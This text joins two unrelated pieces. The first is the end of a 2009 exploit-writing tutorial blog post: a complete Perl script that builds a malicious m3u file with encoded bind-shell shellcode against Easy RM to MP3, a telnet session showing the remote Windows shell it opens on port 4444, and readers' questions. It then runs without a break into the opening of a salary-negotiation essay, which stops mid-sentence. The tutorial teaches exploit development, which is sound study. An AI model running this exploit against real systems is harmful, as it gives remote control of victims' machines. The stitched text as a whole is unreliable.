[code]

    ## Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker# Written by Peter Van Eeckhoutte# http://www.corelan.be:8800# Greetings to Saumil and SK :-)## tested on Windows XP SP3 (En)###my $file= "exploitrmtomp3.m3u";my $junk= "A" x 26094;my $eip = pack('V',0x01ccf23a);  #jmp esp from MSRMCcodec02.dllmy $shellcode = "\x90" x 25;# windows/shell_bind_tcp - 703 bytes# http://www.metasploit.com# Encoder: x86/alpha_upper# EXITFUNC=seh, LPORT=4444, RHOST=$shellcode=$shellcode."\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" ."\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" ."\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" ."\x42\x41\x41\x42\x54\x00\x41\x51\x32\x41\x42\x32\x42\x42" ."\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" ."\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" ."\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47" ."\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a" ."\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43" ."\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a" ."\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44" ."\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a" ."\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a" ."\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c" ."\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" ."\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" ."\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50" ."\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45" ."\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c" ."\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43" ."\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43" ."\x47\x43\x43\x47\x42\x51\x4f\x50\x54\x4b\x4f\x48\x50\x42" ."\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x48" ."\x56\x51\x4f\x4d\x59\x4d\x35\x45\x36\x4b\x31\x4a\x4d\x43" ."\x38\x43\x32\x46\x35\x43\x5a\x44\x42\x4b\x4f\x4e\x30\x42" ."\x48\x48\x59\x45\x59\x4c\x35\x4e\x4d\x50\x57\x4b\x4f\x48" ."\x56\x46\x33\x46\x33\x46\x33\x50\x53\x50\x53\x50\x43\x51" ."\x43\x51\x53\x46\x33\x4b\x4f\x4e\x30\x43\x56\x45\x38\x42" ."\x31\x51\x4c\x42\x46\x46\x33\x4c\x49\x4d\x31\x4a\x35\x42" ."\x48\x4e\x44\x44\x5a\x44\x30\x49\x57\x50\x57\x4b\x4f\x48" ."\x56\x43\x5a\x44\x50\x50\x51\x51\x45\x4b\x4f\x4e\x30\x43" ."\x58\x49\x34\x4e\x4d\x46\x4e\x4b\x59\x50\x57\x4b\x4f\x4e" ."\x36\x50\x53\x46\x35\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x50" ."\x49\x4d\x56\x50\x49\x51\x47\x4b\x4f\x48\x56\x50\x50\x50" ."\x54\x50\x54\x46\x35\x4b\x4f\x48\x50\x4a\x33\x45\x38\x4a" ."\x47\x44\x39\x48\x46\x43\x49\x50\x57\x4b\x4f\x48\x56\x50" ."\x55\x4b\x4f\x48\x50\x42\x46\x42\x4a\x42\x44\x45\x36\x45" ."\x38\x45\x33\x42\x4d\x4d\x59\x4b\x55\x42\x4a\x46\x30\x50" ."\x59\x47\x59\x48\x4c\x4b\x39\x4a\x47\x43\x5a\x50\x44\x4b" ."\x39\x4b\x52\x46\x51\x49\x50\x4c\x33\x4e\x4a\x4b\x4e\x47" ."\x32\x46\x4d\x4b\x4e\x51\x52\x46\x4c\x4d\x43\x4c\x4d\x42" ."\x5a\x50\x38\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x42\x52\x4b" ."\x4e\x4e\x53\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x49" ."\x46\x51\x4b\x46\x37\x46\x32\x50\x51\x50\x51\x46\x31\x42" ."\x4a\x45\x51\x46\x31\x46\x31\x51\x45\x50\x51\x4b\x4f\x48" ."\x50\x43\x58\x4e\x4d\x4e\x39\x45\x55\x48\x4e\x51\x43\x4b" ."\x4f\x49\x46\x43\x5a\x4b\x4f\x4b\x4f\x47\x47\x4b\x4f\x48" ."\x50\x4c\x4b\x46\x37\x4b\x4c\x4c\x43\x49\x54\x45\x34\x4b" ."\x4f\x4e\x36\x50\x52\x4b\x4f\x48\x50\x43\x58\x4c\x30\x4c" ."\x4a\x44\x44\x51\x4f\x46\x33\x4b\x4f\x48\x56\x4b\x4f\x48" ."\x50\x41\x41";open($FILE,">$file");print $FILE $junk.$eip.$shellcode;close($FILE);print "m3u File Created successfully\n";
[/code]

Create the m3u file, open it in the application. Easy RM to MP3 now seems to
hang :

<img src='img/Temp2_2937.png' width='384' height='154' alt='image' />

Telnet to this host on port 4444 :

[code]

    root@bt:/# telnet 192.168.0.197 4444Trying 192.168.0.197...Connected to 192.168.0.197.Escape character is '^]'.Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.C:\Program Files\Easy RM to MP3 Converter>
[/code]

Pataboom \!

Now go out and build your own exploits. Don’t forget to make yourself some
nice ascii art, get a l33t name, and send your greetings to me
\(corelanc0d3r\) :-\)

> If you want to learn more about writing exploits, you may want to consider
> taking “The Exploit Laboratory” class at Blackhat\)
> _\(and please send my regards to Saumil and S.K. – “you guys rock\!”\)_
© 2009, Peter Van Eeckhoutte. **All rights reserved. Terms of Use are
applicable to all content on this blog.** _If you want to use/reuse parts of
the content on this blog, you must provide a link to the original content on
this blog._

<img src='img/Temp2_2938.png' width='18' height='18' /> Posted in Exploit Writing Tutorials, Exploits, Security | <img src='img/Temp2_2940.png' width='18' height='18' /> Tags: 41414141, buffer, buffer overflow, buffersize, bytes, discover, ebp, eip, esp, exploit, exploit laboratory, exploit writing tutorial, hack, learn, metasploit, nop, nop sled, nop slide, overflow, pattern\_create, pattern\_offset, pop, push, register, saumil shah, shellcode, sk chong, stack, stack overflow, write
### Related Posts:

  * Exploit writing tutorial part 2 : Stack Based Overflows – jumping to shellcode
  * Exploit writing tutorial part 5 : How debugger modules & plugins can speed up basic exploit development
  * Exploit writing tutorial part 3 : SEH Based Exploits
  * Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, HW DEP and ASLR
  * Exploit writing tutorial part 3b : SEH Based Exploits – just another example
  * Exploit writing tutorial part 4 : From Exploit to Metasploit – The basics
  * Exploit writing tutorial part 7 : Unicode – from 0×00410041 to calc
  * Metasploit Project acquired by Rapid7
  * Fuzzing with Metasploit : Simple FTP fuzzer
  * Free Tool : PVE POP3 Collector v1.2 released today

### 16 Responses to “Exploit writing tutorial part 1 : Stack Based Overflows”

  * <img src='img/Temp2_2943.png' width='48' height='48' alt='dim' /> dim says:
August 12, 2009 at 0:47

Good day and thanks for an interesting article.  
Can you please explain me a couple of things also?

1\. “After a push, ESP will point to a higher memory address. After a POP, ESP
points to a lower address.” Is this a mistake in the text? If stack grows
towards lower memory adresses, then after a push it will point to a lower
address.

2\. Why is ESP pointing not the TOP of the stack, but to local variables
area???  
thanks\!\!

Reply

  * <img src='img/Temp2_2941.png' width='48' height='48' alt='peterve' /> Peter Van Eeckhoutte says:
August 12, 2009 at 8:44

Hi,

Thanks for your comments

1\. You are correct – it’s a mistake in the text… pushing something on the
stack will make the stack pointer point at a lower address… I’ll correct the
text.

2\. Can you open a forum discussion for your second comment, so we can talk
about this offline \(I don’t want to make this comments section too lengthy…\)
?  
You can create a discussion at
http://www.corelan.be:8800/index.php/forum/writing-exploits

thanks

Reply

  * <img src='img/Temp2_2943.png' width='48' height='48' alt='Dinos' /> Dinos says:
August 13, 2009 at 13:33

Hi, this is a very nice introduction. Trying to replicated it i notice the
following

101\. That’s the buffer length needed to overwrite EIP. So if you create a
file with 25000+101 A’s, and then add 4 B’s \(42 42 42 42 in hex\) EIP should
contain 42 42 42 42. We also know that ESP shows data from our buffer, so
we’ll add some C’s after overwriting EIP.

Let’s try. Modify the perl script to create the new m3u file.

my $file= “eipcrash.m3u”;  
my $junk= “A” x 26101; $file”\);  
print $FILE $junk.$eip.$espdata;  
close\($FILE\);  
print “m3u File Created successfully\n”;

25000 + 101 = 25101 and not 26101. Is it a typo ? There rest of the page goes
with 26101 after that.

Thanks,  
Dinos

Reply

  * <img src='img/Temp2_2941.png' width='48' height='48' alt='peterve' /> Peter Van Eeckhoutte says:
August 13, 2009 at 15:33

Hmmm good to see that people actually read this stuff :-\)  
25000 + 101 is indeed 25101, but offset of 26101 overwrites RET exactly…

Let me reproduce the overflow again… I clearly must have missed something :-\)

I’ll get back to you on this

thanks

Reply

  * <img src='img/Temp2_2941.png' width='48' height='48' alt='peterve' /> Peter Van Eeckhoutte says:
August 13, 2009 at 16:15

ok – did some research and I found out that on my current systems, I’m getting
an offset of 26094… \(25000 + 1094\). Apparently, while I was writing this
tutorial, something must have gone wrong… Not sure what has gone wrong, but
anyways, I have updated this tutorial with the correct offset… so things
should make more sense now

Reply

  * <img src='img/Temp2_2943.png' width='48' height='48' alt='greyhat99' /> greyhat99 says:
October 25, 2009 at 1:03

Hello Peter,

may i say i am really enjoying this tutorial, such a pleasure to read.

One question, if you dont mind, why do we have a NOP slide of 25 bytes for the
shellcode \(at beginning\) before the calc execution?

from what i understand, when the program returns after the unsanitised
string/buffer, EIP will point to an address which will have the
instruction/opcode of JMP ESP \(located in a loaded dll\), jump to ESP, ESP
will be pointing to the first byte of the shellcode being the first NOP of 25
sliding to the calc code/instructions…

i understand that NOPs are used as a way of giving a desired result when not
having the exact calculation of address space/movement, is this the reason as
just a demonstration of good practice?? PS im very new to the game of breaking
things, so feel free, if you have the time, to correct me in all areas
necessary :P

Again thanks for your tutorial and work, i am sure many people are grateful.

ps i have many other questions, but i will take it easy on you :P

Reply

  * <img src='img/Temp2_2941.png' width='48' height='48' alt='peterve' /> Peter Van Eeckhoutte says:
October 25, 2009 at 9:46

Hi,

The nops are not necessary. If you can calculate the offsets and jump directly
to the beginning of the shellcode, you don’t need nops.

I guess the nops in my example are just an introduction about the usage of
nops and the fact that you can use them for padding/to allow you to be a
number of bytes off/…

\(I have noticed for example that addresses changed just a couple of bytes
between physical machines and virtual machines, and in those cases, nops can
be very helpful…

If you have more questions, don’t hesitate to ask them at our forum :
http://www.corelan.be:8800/index.php/forum/writing-exploits

thanks

Reply

  * <img src='img/Temp2_2943.png' width='48' height='48' alt='thomas' /> thomas says:
November 13, 2009 at 1:19

superb…absolutely superb.

Reply

  * <img src='img/Temp2_2943.png' width='48' height='48' alt='Maki' /> Maki says:
November 17, 2009 at 11:22

Thank you a lot for these tutorials :-\).

Reply

  * <img src='img/Temp2_2943.png' width='48' height='48' alt='dovis' /> dovis says:
November 20, 2009 at 22:24

i have read the tutorial and the others tutorials \( very very very good…\)
but i have some problem with payload generating .. i tried to generate payload
in metasploit, using msfweb and the conmmand line ./msfpayload…. using
different encoders but not of them run it , ecxept your payload and the
payload of this exploit in milw0rm.com… could you explain deeper the payload
generating…  
Regards…

Reply

    * <img src='img/Temp2_2941.png' width='48' height='48' alt='peterve' /> Peter Van Eeckhoutte says:
November 20, 2009 at 22:27

Hi Dovis,

Can you please create a forum topic about your question ? I think it is a very
good question, so I’d like other visitors to be able to read our discussion
\(and hopefully discussion\) about shellcode as well

Forum : http://www.corelan.be:8800/index.php/forum/writing-exploits/

thanks

Reply

  * <img src='img/Temp2_2943.png' width='48' height='48' alt='dovis' /> dovis says:
November 20, 2009 at 22:41

of course my friend…

Reply

  * <img src='img/Temp2_2943.png' width='48' height='48' alt='Valentin' /> Valentin says:
November 22, 2009 at 20:21

Hello Pedro:

I have read the tutorial, good tutorial, very well explained and organized.
But have a problem when I execute u \(unassemble\) followed by the address
that was shown before entering jmp esp

It gives me the error of bad opcode in ‘or 77f667cd’

¿How it is problem?

Sorry but my Inglish is not very good  
Thank you  
Regards  
Valentin

Reply

    * <img src='img/Temp2_2941.png' width='48' height='48' alt='peterve' /> Peter Van Eeckhoutte says:
November 22, 2009 at 20:44

Hello Valentin,

would you mind going to the forum
\(http://www.corelan.be:8800/index.php/forum/writing-exploits/\) and creating
a new topic for this ?  
don’t worry about your english – I understand what you mean… and isn’t that
what a language should be all about ? :-\)

thanks

Peter

Reply

  * <img src='img/Temp2_2943.png' width='48' height='48' alt='sghctoma' /> sghctoma says:
November 25, 2009 at 0:55

Hi,

I am not a complete newbie in this field, but your tuts are still good
readings. They remind me of Lena’s RCE tutorias: good quality, and
understandable for the beginner. So, thanks for doing this.

One note about this first tutorial: greyhat99 asked in one of the comments if
the nopsled before the actual payload is necessary, and you answered him no.
In fact, the nopsled is necessary if you are using the x86/shikata\_ga\_nai
encoder\* , because it makes a fstenv \[esp-c\], which stores 28 bytes
starting at 12 bytes below the top of the stack. This means, that 16 bytes of
our shellcode will be overwritten, very likely including some bytes\*\* we
haven’t executed yet. Obviously, this would mess things up, hence the need for
the nopsled.

\* I don’t know about the others, I only debugged the first 144-byte calc.exe
payload  
\*\* In the case of the 144-byte calc.exe payload, exactly 3 not-yet-executed
bytes are overwritten, so a 3-byte nopsled is enough.

regards,  
sghctoma

Reply

    * <img src='img/Temp2_2941.png' width='48' height='48' alt='peterve' /> Peter Van Eeckhoutte says:
November 25, 2009 at 7:09

thanks – good feedback

Reply

### Leave a comment

Click here to cancel reply.

Logged in as wishi. Log out »

  

Notify me of followup comments via e-mail

Actions

  * Site Admin
  * Log out
  * Entries RSS
  * Comments RSS
  * WordPress.org

Stay posted

  * **Subscribe to updates via email**
  * **Follow me on twitter**
  * 

Search this blog

  

**Last 5 search keywords :** | backtrack 3 WPA 2 PSK | crack wpa with backtrack 4 | cracking wep backtrack 4 | cracking wep backtrack 4 | John The Ripper |
**Top 10 search keywords :** | crack wpa with backtrack 4 | cracking wep backtrack 4 | backtrack 3 WPA 2 PSK | WPA backtrack 4 | installing backtrack 4 pre final hard drive | how to install password list in bt4 | basic command for juniper firewall | free download backtrack 3 | buffer overflow tutorial | backtrack 4 |
Categories

Select CategoryActive DirectoryCertificatesCiscoDevelopmentJuniperLinux and
UnixMS ExchangeMy Free ToolsNetworkingOpsMgrOutlookPrivateScripts
PowershellSecurity Exploit Writing Tutorials
ExploitsSharepointStorageVirtualizationWindows Client OSWindows
ServerWordpress

Recent Posts

  * Exchange Server 2010 available worldwide
  * Exploit writing tutorial part 7 : Unicode – from 0×00410041 to calc
  * Str0ke R.I.P. \(or alive & kicking ?\)
  * Exchange 2010 Certificates
  * Backup & Restore Windows Server based Print Servers
  * Metasploit Project acquired by Rapid7

Recent Comments

  * Peter Van Eeckhoutte on Exploit writing tutorial part 7 : Unicode – from 0×00410041 to calc
  * ekse on Exploit writing tutorial part 7 : Unicode – from 0×00410041 to calc
  * Peter Van Eeckhoutte on Exploit writing tutorial part 5 : How debugger modules & plugins can speed up basic exploit development
  * Peter Van Eeckhoutte on Exploit writing tutorial part 7 : Unicode – from 0×00410041 to calc

Ratings \(> 10 votes\)

  * Exploit writing tutorial part 1 : Stack Based Overflows <img src='img/Temp2_2942.png' alt='20 votes, average: 5.00 out of 5' /><img src='img/Temp2_2942.png' alt='20 votes, average: 5.00 out of 5' /><img src='img/Temp2_2942.png' alt='20 votes, average: 5.00 out of 5' /><img src='img/Temp2_2942.png' alt='20 votes, average: 5.00 out of 5' /><img src='img/Temp2_2942.png' alt='20 votes, average: 5.00 out of 5' /> \(5.00 out of 5\)
  * Free tool – Free POP3 Collector <img src='img/Temp2_2942.png' alt='11 votes, average: 4.64 out of 5' /><img src='img/Temp2_2942.png' alt='11 votes, average: 4.64 out of 5' /><img src='img/Temp2_2942.png' alt='11 votes, average: 4.64 out of 5' /><img src='img/Temp2_2942.png' alt='11 votes, average: 4.64 out of 5' /><img src='img/Temp2_2932.png' alt='11 votes, average: 4.64 out of 5' /> \(4.64 out of 5\)

Links

  * All personal links
    * Peter Van Eeckhoutte on linkedin
    * Peter Van Eeckhoutte’s Free Tools
    * Peter Van Eeckhoutte’s Profile on Amazon.com
    * Wordpress Themes
  * Great sites
    * ActiveDir.Org
    * Block a country \(country to IP\)
    * Mail Relay Test with custom port
    * MS System Center Forum
    * Online ipv6 ping
    * Online ipv6 traceroute
    * Pro Exchange
  * Microsoft
    * All Microsoft Team Blogs
    * John Howard on Windows 2008
    * Mark Russinovich
    * Monitoring Forum on Technet
    * MS Essential Support \(Pay Per Year\)
    * MS Exchange Team
    * MS OpsMgr Team
    * MS Professional Support \(Pay Per Incident\)
    * MS Sharepoint Team
    * MS Storage
    * MS Storage Team
    * MS System Center Connect
    * MS Technet for Exchange Development
    * MS Virtualization
    * MS Windows Server Performance Team
    * Report bug for OpsMgr
    * System Center Community Forums
    * The Old New Thing \(Tips / Support\)
  * Other Blogs
    * Juniper Frac Blogspot
  * Security
    * Bluemoon Security
    * CCCure.org
    * Evilfingers
    * Metasploit
    * Metasploit API Reference
    * Metasploit Payloads
    * milw0rm
    * My papers on Shell-Storm
    * NCR's blog
    * Offensive Security Exploit Database
    * Packetstorm
    * Phrack
    * Project Shellcode
    * Recognize-Security
    * Register Nessus Homefeed
    * Remote Exploit Forums
    * Remote Exploit.org
    * Reverse Engineering Blog
    * Room 362
    * Securityreason
    * SecurityWire
    * Shell Storm
    * Uninformed
  * Tools
    * Joeware
    * vmts.net \(VMWare\)

  

  
Terms of Use | Copyright © 2009 Peter Van Eeckhoutte´s Blog. All Rights Reserved.  
Your IP address : 89.238.75.147 | 286 queries. 4.135 seconds | www.corelan.be \- artemis.corelan.be
  *[RSS]: Really Simple Syndication

# Salary Negotiation: Make More Money, Be More Valued | Kalzumeus Software
**Created:**| _2/1/2022 3:27:08 PM_  
---|---  
**Updated:**| _2/1/2022 3:27:08 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Salary Negotiation: Make More Money, Be More Valued

\[**Editor’s note** : At nearly 7,000 words, you probably don’t want to try
reading this on an iDevice. Bookmark it and come back later.\]

Imagine something a wee bit outside your comfort zone. Nothing scandalous:
just something you don’t do often, don’t particularly enjoy, and slightly more
challenging than “totally trivial.” Maybe reciting poetry while simultaneously
standing on one foot.

If I told you I would pay you a hundred thousand dollars if you did five
minutes of poetry recital while standing on one foot, would you do it? It’s an
absurd image, but play it straight. There is no hidden gotcha here. You won’t
be videotaped. Your friends will never see you make a fool of yourself. The
revolution will not be YouTubed. The offer is exactly as simple as you think
it is: poetry, foot, $100,000.

Would you read poetry for me?

**Of course you would.** You’d be screamingly stupid not to. In fact, not only
would you read poetry, you’d probably take a poetry class to make sure you did
it right, or go to the gym to verify “Yep, sure enough, I can stand on one
foot. Phew. Pass me the Shakespeare.” If you couldn’t stand on one foot, you’d
fix that, because you know that is much easier than other things you routinely
accomplish and you suddenly have a hundred thousand wonderful reasons to learn
it, too.

What if you were talking about this at dinner with your friends, and one of
them said “Oh, no, I’d never do that. I just don’t do poetry. I’m an engineer.
And besides, my father told me that people who stand on one foot look silly.
And what do I need $100,000 for anyhow?” You would not clap them on the back
and say “Damn straight\! Man, poets, always trying to tempt virtuous engineers
into their weird poetry-spouting flamingo-standing ways.” You’d say “Dude,
it’s five minutes. Heck, I’ll help you practice.”

This is pretty much how I feel every time I talk to my engineering friends
about salary negotiation. We overwhelmingly suck at it. We have turned sucking
at it into a _perverse badge of virtue_. We make no affirmative efforts to un-
suck ourselves and, to the extent we read about it at all, we read bad advice
and repeat it, pretending that this makes us wise.

Dude, it’s five minutes. Let’s un-suck your negotiation.

\(New to the blog? Hiya. I generally write as an engineer for engineers. Non-
engineers can benefit from many of the same techniques, though the hiring
market isn’t nearly as in your favor at the moment as it is for engineers in
most major US metro areas.\)

## Why Negotiation Matters

Your salary negotiation — which routinely takes less than 5 minutes to
conclude — has an outsized influence on what your compensation is.
Compensation can include money or things which are more-or-less fungible
replacements for money, but it can also include interesting things which you
value from “more time with your family” to “opportunities to do tasks which
you find fulfilling” to “perks which make a meaningful difference in your day-
to-day quality of life.” That makes your negotiation **five very important
minutes**. You generally can’t do a totally bang up job on any five minutes of
work this year and have your boss give you an extra $5,000. **You can
trivially pick up $5,000 in salary negotiations just by sucking _less_.**

Since salaries are shockingly durable over time, particularly if one is not
good at negotiating, you can expect a $5,000 increase in salary to compound
with your standard annual read-the-HR-chart-percent raise, cause a similar
increase in your 401k contribution \(which also compounds\), and establish a
higher peg for any further jobs you take \(if you’re unsavvy and allow these
other jobs access to your prior salary history, at any rate\). Accordingly,
over the next ten years, the value of $5,000 a year extra salary is close to
$100k gross, and the value of $15,000 a year extra \(very achievable if you’re
e.g. a young engineer who doesn’t realize that the hiring market is _**on
fire**_ right now, even outside of tech epicenters like Silicon Valley\) is
over $100k even net of taxes.

## Shifting Your Mindset To Embrace Negotiation

We’ll discuss tactical advice in a moment, but let’s talk about the psychology
of negotiation first. I think that middle class Americans are socialized from
a very young age to view negotiation as something that is vaguely disreputable
and engaged in only by poor people. Think of the associations you have with
the word “haggling”: do you think of a successful young professional talking
about thousands of dollars in a brightly lit office? No, you probably think of
an old woman arguing over a trivial sum of money in a dirty flea market.

If I were a little more paranoid and a little more Marxist, I’d honestly think
that you’re so misinformed about reality that that is almost prima facie
evidence of a conspiracy to keep you in the dark about this, to the advantage
of people who a\) you won’t negotiate with and b\) who will feel absolutely no
compunctions about negotiating with you. Principally, this will be your
employers. People say that your house is the biggest purchase you’ll ever
make, but it won’t be the most consequential negotiation. If you’re sane only
about 25% or so of your gross income is subject to the results of real estate
negotiations. Close to 100% is subject to the results of salary negotiations.
Thus, your salary negotiations are probably going to be the most important
financial decisions you will ever make. We socialize middle class Americans to
go into them unprepared, demotivated, and fearful of success.

The reality is that **rich, successful people negotiate**. \(This is one
important way in which they get — and stay — rich.\) It is an all-day-every-
day thing in much of the business world, which is where most rich people get
their money.

## Your Counterparty Does Not Share Your Mental Model of Negotiation

Salary negotiations are very asymmetrical. Companies know this and routinely
exploit it. Job seekers don’t, perhaps because they think doing so would be
unfair and the word “exploit” makes them acutely uncomfortable. So we often
default by pretending that the employer is evaluating the negotiation like we
would. This is not true, and acting like it is true will harm both your
interests and the interests of your future employer.

For example, many people’s mental model of employment is that an employee with
a $60,000 a year salary costs about $60,000 a year to hire. If they negotiate
$65,000 instead, that’s $5,000 extra which has to come from… somewhere. If the
negotiation breaks down, then that is $60,000 saved. **This mental model is
broken**.

First, get into the habit of seeing employees like employers see them: in
terms of fully-loaded costs. To hire someone you need to pay for their salary,
true, but you also have taxes, a benefits package, employer contributions to
retirement, healthcare, that free soda your HR department loves mentioning in
the job ads, and what have you. \(Trivia: for a US employer of professionals,
the largest component after salary is usually healthcare, followed by payroll
taxes.\) The fully-loaded costs of employees are much higher than their
salary: exactly how much higher depends on your locality’s laws, your benefits
package, and a bunch of other HR administrivia, but a reasonable guesstimate
is between 150% and 200% of their salary.

The fully loaded cost of an engineer receiving market salaries these days in
California or New York is close to $20,000 a month. It is “only” $10,000 a
month if they’re receiving a heavily below-market salary, such as if they’re
working for a startup. If you have a kid brother who majored in Flemish Dance
and got a modest full-time job at a non-profit, his fully-loaded cost is still
probably $4,000 a month or more.

This is a roundabout way of telling you that companies are not sensitive to
small differences in employee wages because employees are so darned expensive
anyhow. You see $5,000 and think “Holy cow, even after taxes that’s a whole
new vacation. Five thousand dollars. Five thousand dollars. It would be so
very, very greedy of me to ask for five thousand whole dollars.” The HR
department sees $5,000 and thinks “Meh, even after we kick in the extra taxes,
that is only about 3% of their fully-loaded cost for this year anyhow, or
seven hundredths of one percent of that team’s hiring budget. I wonder if the
cafeteria has carrot cake today?”

**Virtually any amount of money available to you personally is mouse droppings
to your prospective employer**. They will not feel offended if you ask for it.
\(I received a comment that this is untrue for startups by someone today. For
a funded startup which has enough engineers to warrant a foosball table, the
company payroll is well north of $100,000 a month. Making a new hire is a big
commitment, but they still have a lot of flexibility on the details because
the details do not shave months off of their runway.\)

We’ve been talking about your employer as an abstraction, but in the instant
case you’re talking to an actual person. Let’s call him Bob. It is Bob’s job
to get you signed with the company as cheaply as possible, but Bob is not
super motivated to do so, because **Bob is not spending Bob’s money to hire
you**. Bob is spending Bob’s _budget_. Bob generally does not get large
performance incentives for shaving money off of his hiring budget: you get a
new Macbook if you convince Bob to give you $5k extra, but Bob gets \(if he is
anomalously lucky\) a dinner at TGIFridays if he convinces you to take $5k
less. In fact, there are many organizations \(and Bobs\) for whom power,
status, and money come from asking for _more_ budget every year. If you turn
out to be on the expensive side, that is great for Bob, because a\) he manages
a high-powered peon so he must be a high-powered manager and b\) this will
help Bob get more budget next quarter. So if you’re worried about what Bob
will think of your moral character, or you want to compensate Bob because you
feel you owe him for this job opportunity, do Bob a solid and negotiate in a
spirited fashion with him.

You don’t owe Bob for giving you this job opportunity, by the way. Internalize
this: everyone in this discussion is a businessman. \(Some might call
themselves “regular employees,” which just means they’re businessmen with
self-confidence issues and poor business skills.\) If the deal makes economic
sense, it will happen. If it doesn’t, firm handshakes will be exchanged, non-
specific promises will be uttered, and everyone will forget about this
discussion in a matter of hours. You will not be blackballed for negotiating.
Bob couldn’t care less and, even if he did care, he has better things to do
with his time than worry about a candidate he didn’t hire. Bob is working
through a list of a dozen people right now, and his manager Dave is being such
a hard case about that project’s schedule, and he’s not sure he can make his
daughter’s piano recital, and the cafeteria’s carrot cake was a little dry.
Bob is **far, far less invested in this negotiation than you are**.

## Your Negotiation Started Before You Applied To This Job

Your negotiation doesn’t happen in a vacuum. Generic career advice is a little
outside the scope of this post \(though I’ve previously written a bit with
engineers in mind that folks from many walks of life tell me was useful\), but
to make a long story short, many people think job searches go something like
this:

  1. See ad for job on Monster.com
  2. Send in a resume.
  3. Get an interview.
  4. Get asked for salary requirements.
  5. Get offered your salary requirement plus 5%.
  6. Try to negotiate that offer, if you can bring yourself to.

This is an effective strategy for job searching if you enjoy alternating bouts
of being unemployed, being poorly compensated, and then treated like a
disposable peon. \(I served three years as a disposable peon in a Japanese
megacorp and might be projecting a tad bit here. Regardless, my loss is your
gain.\)

You will have much, much better results if your job search looks something
more like:

  1. \(Optional but recommended\) Establish a reputation in your field as someone who delivers measurable results vis-a-vis improving revenue or reducing costs.
  2. Have a hiring manager talk with you, specifically, about an opening that they want you, specifically, to fill.
  3. Talk informally \(and then possibly formally\) and come to the conclusion that this would be a great thing if both sides could come to a mutually fulfilling offer.
  4. Let them take a stab at what that mutually fulfilling offer would look like.
  5. Suggest ways that they could improve it such that the path is cleared for you doing that voodoo that you do so well to improve their revenue and/or reduce their costs.
  6. \(Optional\) Give the guy hiring you a resume to send to HR, for their records. Nobody will read it, because **resumes are an institution created to mean that no one has to read resumes**. Since no one will read it, we put it in the process where it literally doesn’t matter whether it happens or not, because if you had your job offer contingent on a document that everyone knows no one reads, that would be pretty effing stupid now wouldn’t it.

You might think that desirable jobs at well-managed companies \(Google,
Microsoft, hot startup FooWithTheWhat.ly, etc\) have layers and layers of
bureaucratic scar tissue \(a great image from 37Signals\) to ensure that their
hiring will conform to established processes and that offers will not be given
to candidates sourced by using informal networks and interpersonal
connections. If you believe this, you have a dangerously incomplete mental
model of how the world operates. I have a specific recommendation for you to
make that model more complete: start talking to people who actually work for
those companies and who have hiring authority. Virtually no company has a
hiring process which is accurately explained by blog posts about the company.
No company anywhere has a hiring process which is accurately explained by
their own documents about how the hiring process works.

I won’t give names, but all of the following are companies you’ve heard of:

  * Ironclad non-compete with an IP assignment provision of major multinational… struck from the contract with four sentences of discussion.
  * Major popular tech employer offered desirable employee $X as a salary because “it was the max the HR department allows for that position.” He got hired that week at $2X. All parties — hiring organization, HR, and employee — think they pulled one over on the other participants.
  * ~~Funny story goes here~~. I now can’t tell you the funny story, because literally two hours before publication someone emailed me for advice about a situation that he believes is incredibly unjust at his company, and it is exactly the funny story to the letter. Now if I tell you the funny story he might think “Dang, I write Patrick in confidence and it ends up on the blog.” So, no funny story today. Suffice it to say that in my old age I treat Dilbert less as farce and more as documentary.
  * “We can’t hire engineers fast enough through our standard processes so, meh, I guess we’ll circumvent them by just tossing $1 million per employee at whomever they currently work for. Who cares, it isn’t _my_ million.”

## When Does A Salary Negotiation Happen?

Only negotiate salary after you have agreement in principle from someone with
hiring authority that, if a mutually acceptable compensation can be agreed
upon, you will be hired.

This is really, really important because it has direct implications for your
negotiating strategy. First, the company is going to spend a lot of time and
effort on getting you to the point of agreement-in-principle. Pretend you’ve
gone through six rounds of interviews. \(You probably won’t if you get hired
on informal networks, because all barriers vanish when important people want a
deal to get done, but let me give some advice to someone a little less well-
situated.\) Do some quick mental math on what that actually cost the company,
with reference to “one man-month of an engineer’s time costs $20k” like we
discussed earlier. You’ll quickly reach the conclusion that the company has
spent thousands of dollars _just talking to you_ , and that doesn’t even count
the thousands they spent deciding to talk to you instead of whoever isn’t in
the room right now. Walking away from the negotiation means that they lose all
